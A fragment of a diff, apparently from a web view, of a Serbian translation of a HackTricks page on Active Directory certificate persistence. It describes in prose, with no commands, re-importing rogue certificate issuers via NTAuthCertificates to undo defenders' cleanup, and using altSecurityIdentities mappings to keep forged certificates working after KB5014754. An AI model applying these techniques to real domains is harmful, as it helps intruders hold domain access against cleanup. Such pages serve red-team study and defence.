- Kontrolisanje `NTAuthCertificates` objekta ili CA kontejnera kako bi se kontinuirano ponovo uvozili rogue issuers ako branitelji pokušaju čišćenje.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> U ojačanim okruženjima nakon KB5014754, udruživanje ovih pogrešnih konfiguracija sa eksplicitnim jakim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdata ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping.
|
> U hardened okruženjima nakon KB5014754, kombinovanje ovih pogrešnih konfiguracija sa eksplicitnim snažnim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdate ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
- Microsoft KB5014754 – Promene u autentifikaciji zasnovanoj na sertifikatima na Windows domain controller-ima (vremenski okvir primene i strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
- Certipy – Komandni priručnik i upotreba forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user